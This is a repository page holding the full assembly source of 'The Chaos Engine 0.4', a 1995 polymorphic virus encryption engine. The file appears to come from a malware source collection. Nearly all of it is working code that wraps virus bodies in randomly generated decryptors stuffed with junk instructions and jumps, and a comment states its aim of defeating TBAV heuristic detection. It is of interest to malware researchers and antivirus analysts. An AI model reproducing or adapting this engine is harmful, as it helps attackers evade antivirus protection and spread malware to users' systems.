-
Notifications
You must be signed in to change notification settings - Fork 33
/
Virus.Win32.Chaos.ASM
862 lines (728 loc) · 21 KB
/
Virus.Win32.Chaos.ASM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
radix 16
;*****************************************
;* T.H.E - C.H.A.O.S - E.N.G.I.N.E - 0.4 *
;*****************************************
;1995 - Sepultura - Australia
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;on CALLing of TCE -
;;;AX = TCE Flags:1 - Pad To DECRYPTOR_LENGTH.
;;; 2 - Make Short Decryptor (No Junk).
;;; 4 - Add Segment Overide.
;;;
;;;CX = Length of Code to Encrypt.
;;;DX = Delta Offset.
;;;DS:SI = Code to encrypt (DS _MUST_ = CS).
;;;ES:DI = Location of Buffer to Create Decryptor in.
;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;ON RETURN:
;;;ES = DS = Segment of Decryptor / Encrypted Code
;;;DX = Pointer to Start of Code
;;;CX = Length of Code
;;;;;;;;;;;;;;;;;;;
;;;Flag EQUates
MAKE_SMALL equ 1
PAD_TO_MAX equ 2
ADD_SEG equ 4
;;;;;;;;;;;;;;;;;;;
;;;W.H.A.T.E.V.E.R
DECRYPTOR_LENGTH equ 190h
MAX_PADDING equ 90h - 1f
length_1 equ (offset int_tbl - offset one_byters)-1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;REGISTER TABLE - INTEL STANDLE FORMAT
tce_AX equ 0000xB
tce_CX equ 0001xB
tce_DX equ 0010xB
tce_BX equ 0011xB
tce_SP equ 0100xB
tce_BP equ 0101xB
tce_SI equ 0110xB
tce_DI equ 0111xB
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;THe BeLoW InSTuCTiOn CaN KilL A MaN
db '[TCE-0.4]',0
;*****************************************************
;*****************************************************
;*** The REAL _REAL_ START of THE CHAOS ENGINE 0.4 ***
;*****************************************************
;*****************************************************
tce: push ax,bx,bp
push di,si
cld
mov tce_begin,di
mov tce_delta,dx
mov c_length,cx
mov tce_flags,ax
call clear_regs
mov B index_sub,0
mov B[offset more_junk],0b0
test W tce_flags,MAKE_SMALL
if nz mov B[offset more_junk],0c3
push si
call get_rand_1f
add ax,MAX_PADDING
xchg cx,ax
call more_junk
swap0: mov si,offset init_1
lodsw
call binary
jz no_swap1
xchg ax,[si]
mov [si-2],ax
no_swap1:
push ax
lodsw
call binary
jnz no_swap2
xchg ax,[si]
mov [si-2],ax
no_swap2:
push ax
lodsw
lodsw
call binary
jz build_code
xchg ax,[si]
mov [si-2],ax
build_code:
pop ax
call ax
call pad_10
pop ax
call ax
call pad_10
call W init_3
call pad_10
call gen_decrypt
call pad_8
call W init_4
call pad_8
call W init_5
call pad_10
call gen_loop
call pad_8
test W tce_flags,PAD_TO_MAX
jz no_padding
mov B[offset more_junk],0b0
mov cx,DECRYPTOR_LENGTH
add cx,tce_begin
sub cx,di
call more_junk
no_padding:
mov ax,di
sub ax,DECRYPTOR_LENGTH
add enc_index,ax
mov bx,W index_loc
cmp B index_sub,1
if e neg ax
add es:[bx],ax
pop si
mov cx,c_length
rep movsb
mov dx,tce_begin
mov ds,es
call encryptor
mov cx,di
sub cx,dx
pop si,di
pop bp,bx,ax
ret
init_count: ;Initialises Count Register..
call get_unused_reg ;Make Count Initialiser in Encryptor and
cmp al,tce_DX
je init_count
mov count_reg,al ;Decryptor
mov bx,W c_length
shr bx,1
mov W enc_length,bx
call gen_mov_reg
ret
init_index: ;Initialises Index Register..
mov ax,0ff ;Makes Index Initialiser in Encryptor and
call get_rand ;Decryptor..
push ax
call get_rand_7
pop ax
if z xor ax,ax
mov B index_off,al
mov bx,DECRYPTOR_LENGTH
add bx, tce_begin
mov W enc_index,bx
add bx, tce_delta
cbw
sub bx,ax
get_index:
call get_unused_reg
cmp al,tce_BX
jb get_index
mov W index_num,ax
mov B index_reg,al
mov B index_set,1
call gen_mov_reg
mov B index_set,0
ret
gen_decrypt: ;generates DECRYPTOR / ENCRYPTOR instruction
mov W loop_start,di
call pad_8
mov bl,B key_reg
sal bl,3
call get_rand_2
add ax,ax
add ax,offset enc_table
xchg si,ax
lodsw
call binary
if z xchg ah,al
push ax
cmp si,offset enc_table + 2
jne no_carry_set
mov al,0f8
call binary
if z inc ax
mov B enc_cf,al
stosb
no_carry_set:
test W tce_flags,ADD_SEG
jz no_seg_set
mov al,2e
stosb
no_seg_set:
pop ax
stosb
mov B enc_loop,ah
mov si,W index_num
cmp B index_reg,tce_BP
je encryptor_has_offset
cmp B index_off,0
jne encryptor_has_offset
push ax
call get_rand_7
pop ax
jz encryptor_has_offset
add si,index_tab_c
lodsb
or al,bl
stosb
ret
encryptor_has_offset:
add si,index_tab_b
lodsb
or al,bl
mov ah,B index_off
or al,bl
stosw
xchg al,ah
cbw
call binary
jnz ret
mov al,ah
stosb
add es:B[di-3],40
ret
modify_key: ;Modify Key: XOR/ADD/SUB key_reg,xxxx
call get_rand_7
jz no_mod_key
call get_rand_2
add ax,offset modify_table
xchg si,ax
lodsb
mov ah,al
mov al,81
mov W enc_mod_op,ax
or ah,B key_reg
stosw
call get_any_rand
stosw
no_mod_key:
mov W enc_mod_val,ax
ret
inc_index: ;increase index by 2..
call binary ;1 in 2 chance of ADD reg,2/SUB reg,-2
jz add_sub_index
mov al,B index_reg
or al,40
stosb
call pad_8
stosb
ret
add_sub_index:
mov al,83
stosb
mov ah,2
mov al,B index_reg
or al,0c0
call binary
jnz put_add_sub_index
neg ah
or al,0e8
put_add_sub_index:
stosw
ret
gen_loop:
mov al,B count_reg
cmp al,tce_CX
jne not_CX
push ax
call get_rand_7
pop ax
jz not_CX
lea bx,[di+2]
mov ax,W loop_start
sub ax,bx
mov ah,0e2
call binary
jnz no_loop_nz
xchg bp,ax
jmp short do_loop_nz
no_loop_nz:
xchg ah,al
stosw
ret
not_CX: xchg bx,ax
call binary
jz count_add_sub
mov al,48
or al,bl
stosb
jmp short zero_test
count_add_sub:
mov al,83
stosb
mov ah,-1
mov al,bl
or al,0c0
call binary
jnz put_add_sub_count
neg ah
or al,0e8
put_add_sub_count:
stosw
xor bp,bp
push ax
call get_rand_7
pop ax
jz nloop_nz
zero_test:
call pad_10
xor bp,bp
do_loop_nz:
mov al,B count_reg
mov bl,al
sal al,3
or al,bl
xchg ah,al
mov bh,ah
call get_rand_2
add ax,offset zero_test_a
xchg si,ax
lodsb
mov ah,bh
or ah,0c0
stosw
nloop_nz:
lea bx,[di+2]
mov ax,W loop_start
sub ax,bx
or bp,bp
jnz loop_nz
mov ah,075
call binary
jnz nnnn
mov B es:[di],0f8
inc di
sub ax,0fe01
db 0a9
loop_nz:mov ah,0e0
nnnn: xchg ah,al
stosw
ret
init_key:
call get_any_rand
mov W enc_key,ax
xchg bx,ax
call get_unused_reg
mov B key_reg,al
gen_mov_reg:
call binary
jz lea_mov
or al,0b8
stosb
xchg ax,bx
jmp short put_mov_b
lea_mov:call binary
jz zero_then_add
sal al,3
or al,06
mov ah,8d
xchg ah,al
stosw
xchg ax,bx
jmp short put_mov_b
zero_then_add: ;Zero Register (XOR/SUB reg,reg)
push bx ;Then OR/XOR/ADD Value
push ax ;or SUB -Value
mov ah,0c0
or ah,al
sal al,3
or ah,al
mov al,29
call binary
if z mov al,31
stosw
call pad_10
pop bx
call get_rand_2
add ax,offset value_from_0
xchg si,ax
lodsb
call binary
jz zero_then_sub
or al,bl
mov ah,81
xchg ah,al
stosw
pop ax
put_mov_b:
cmp B index_set,01
if e mov W index_loc,di
stosw
ret
zero_then_sub:
cmp B index_set,01
if e mov B index_sub,1
mov al,0e8
or al,bl
mov ah,81
xchg ah,al
stosw
pop ax
neg ax
jmp short put_mov_b
pad_8: push ax ;Sub Procedure to Pad Between 1 and 8 bytes
call get_rand_7
inc ax
jmp short padder
pad_10: push ax
call get_rand_1f ;Sub Procedure to Pad Between 8 and 16 bytes
or al,8
padder: xchg cx,ax
call more_junk
pop ax
ret
more_junk:
mov al,03
call get_rand_b
jnz mj0
mov B [offset code_jmp],083 ;Re-Enable Jumps
mov ax,cx ;else normal filler junk (1 in 16)
cmp ax,40
if a mov al,40
call get_rand_b
xchg bx,ax
call fill_jnk
jmp short mj2
mj0: ;8 in 16 chance of some type of jump
call code_jmp
mj2: jcxz ret
jmp short more_junk
one_byte: ;GENERATES A ONE BYTE JUNK INSTRUCTION
jcxz ret
mov si,one_byters ;FROM one_byters TABLE
mov al,length_1
call get_rand_b
add si,ax
movsb
dec cx
dec bx
ret
reg_op: call get_rand_7 ;ANY OP unused_reg16,reg16..
sal al,3
or al,3
xchg dx,ax
call get_unused_reg
sal al,3
mov dh,al
call get_rand_7
do_op: or dh,al
or dh,0c0
xchg dx,ax
put_2: cmp bx,2
jb one_byte
stosw
dec cx,2
dec bx,2
ret
lea_reg:call get_rand_7 ;LEA unused_reg,[BP/BX/SI/DI]
cmp al,6
je lea_reg
xchg dx,ax
call get_unused_reg
sal al,3
or al,dl
mov ah,08d
xchg ah,al
jmp short put_2
op_ax: call get_any_rand
and al,8
or al,5
and ah,3
shr ah,4
or al,ah
put_3: cmp bx,3
jb reg_op
stosb
call get_any_rand
put_3b: stosw
sub cx,3
sub bx,3
ret
mov_reg:call get_unused_reg ;MOV unused_reg16,xxxx
or al,0b8
jmp short put_3
op_reg_im: ;cmp/add/sub/adc/sbb/or/xor/and reg16,imm16
cmp bx,4
jb op_ax
call get_unused_reg
mov ah,81
xchg dx,ax
call get_rand_7
sal al,3
or ax,dx
xchg ah,al
or ah,0c0
stosw
call get_any_rand
stosw
sub bx,4
sub cx,4
ret
code_jmp:
cmp cx,3
jb ret
mov B [offset code_jmp],0c3 ;Disable Jumps.This ensures Unchained
;(TBAV-J) and helps stops heuristics
call get_any_rand ;else conditional jmp
and ax,1f0f ;between 4 and 43 bytse jmp length
add ah,4
or al,70 ;conditional jmp instructions are 70
;--> 7f
push ax
call get_rand_1f
pop ax
if z mov al,0e3
xor bx,bx
mov bl,ah
dec cx,2
cmp bx,cx
jb put_jmp
mov bx,cx
mov ah,bl
put_jmp:stosw
fill_jnk:
or bx,bx
jz ret
mov al,((offset binary - offset junk_tbl)/2)-1
call get_rand_b
add ax,ax
add ax,offset junk_tbl
xchg si,ax
lodsw
call ax
jmp short fill_jnk
pp_reg: ;generate PUSH reg / junk / POP reg
cmp bx,3
jb gen_int
lea ax,[bx-2]
shr ax,1
call get_rand
xchg ax,dx
call get_rand_7
or al,50
stosb
dec cx
dec bx
push ax
xchg dx,ax
sub bx,ax
push bx
xchg bx,ax
call fill_jnk
pop bx
pop ax
call binary
jz use_same
call get_unused_reg
or al,50
use_same:
or al,8
stosb
dec cx
dec bx
ret
gen_int:cmp bx,4
jb ret
call get_rand_2
add ax,ax
add ax,offset int_tbl
xchg si,ax
lodsw
mov dx,0cdb4
xchg al,dl
stosw
xchg dx,ax
xchg ah,al
stosw
sub cx,4
sub bx,4
ret
junk_tbl: dw offset op_reg_im
dw offset op_reg_im
dw offset op_reg_im
dw offset gen_int
dw offset gen_int
dw offset pp_reg
dw offset pp_reg
dw offset reg_op
dw offset reg_op
dw offset lea_reg
dw offset lea_reg
dw offset mov_reg
dw offset op_ax
dw offset one_byte
binary: push ax
mov al,1
call get_rand_b
pop ax
ret
get_rand_2:
mov al,2
db 0a9
get_rand_7:
mov al,7
db 0a9
get_rand_1f:
mov al,1f
db 0a9
get_any_rand: ;return rnd number in AX between 0 and FFFE
mov al,0fe
get_rand_b:
cbw
get_rand: ;returns random number in AX between 0 and AX
push cx,dx
inc ax
push ax
in ax,40
xchg cx,ax
in ax,40
rol ax,cl
xchg cx,ax
in ax,40
xor ax,cx
adc ax,1234
org $-2
last_rand dw 0AAAA
mov last_rand,ax
pop cx
xor dx,dx
cmp cx,1
adc cx,0
div cx
xchg dx,ax
or ax,ax
pop dx,cx
ret
one_byters: cmc ;15 1 byte junk instructions
cld
std
in ax,dx
in al,dx
lahf
cbw
nop
aaa
aas
daa
das
inc ax
dec ax
xlat
int_tbl: dw 0116 ;AH=01,INT16: Check Keyboard Buffer..
dw 0216 ;AH=02,INT16: Get Keyboard States..
dw 4d21 ;AH=4D,INT21: Get Program Terminate Status..
dw 4d21 ;AH=4D,INT21: Get Program Terminate Status..
dw 0d10 ;AH=0D,INT10: Get Video Info..
dw 0b21 ;AH=0B,INT21: Check Keyboard Buffer..
dw 002a
dw 002a
clear_regs: cwd
mov B index_reg,dl ;Clears Register Tables
mov B key_reg,dl ;(All Regs Free)..
mov B count_reg,dl
ret
get_unused_reg: call get_rand_7 ;Return an Unused Register..
test al,NOT tce_SP ;But _NOT_ SP, or AX.
jz get_unused_reg
cmp al,index_reg
je get_unused_reg
cmp al,count_reg
je get_unused_reg
cmp al,B key_reg
je get_unused_reg
ret
;**********************************************
;* The Encryptor (Built along with Decryptor) *
;**********************************************
encryptor: mov cx,1234
org $-2
enc_length dw 0
mov bx,1234
org $-2
enc_index dw 0
mov ax,1234
org $-2
enc_key dw 0
enc_cf: nop
enc_loop: xor [bx],ax
enc_mod_op dw 0
enc_mod_val dw 0
inc bx,2
loop enc_cf
ret
;****************************
;* Data / Variables / Flags *
;****************************
init_1 dw offset init_count
init_2 dw offset init_key
init_3 dw offset init_index
init_4 dw offset inc_index
init_5 dw offset modify_key
;* The Below is A table of Values to Be Used To Choose *
;* The Count Register, The Index Register, and The Reg *
;* to save SP in During the Decryptor Loop *
; BX BP SI DI ;This Table is used To Build
index_tab_b: db 0,0,0,47,0,46,44,45 ;The Decryptor Instruction
index_tab_c: db 0,0,0,7,0,0,4,5 ;Same As Above
; SBB ADC XOR XOR ADD SUB
enc_table: db 19, 11, 31, 31, 01, 29 ;The Decryptor Opcodes..
; AND OR TEST
zero_test_a: db 21, 09,85
; SUB ;Opcodes to Modify the Key
modify_table: db 0e8 ;Register
; ADD XOR OR ;Opcode to get A value
value_from_0: db 0c0,0f0,0c8 ;from 0.
loop_start dw 0 ;Postion for LOOP to Jump to..
index_num dw 0
index_off db 0 ;OFFSET of INDEX reference (i.e: [SI+XX]).
index_loc dw 0 ;location in ES of index reference set
index_sub db 0 ;Was index_reg set using 0 the sub -value?
index_reg db 0 ;Table of Used Registers..
count_reg db 0 ;used in GET_UNUSED_REG
key_reg db 0
index_set db 0
tce_flags dw 0 ;Engines Flags
tce_delta dw 0 ;Delta Offset
tce_begin dw 0 ;Beginning
c_length dw 0
end_tce: